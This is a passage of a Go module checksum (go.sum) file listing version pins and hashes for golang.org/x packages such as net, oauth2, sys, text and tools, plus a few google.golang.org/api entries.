golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211216030914-fe4d6282115f h1:hEYJvxw1lSnWIl8X9ofsYMklzaDs90JI2az5YMd4fPM=
golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211205182925-97ca703d548d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e h1:fLOSk5Q00efkSvAm+4xcoXD+RRmLmmulPn5I3Y9F2EM=
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=
golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE=
golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
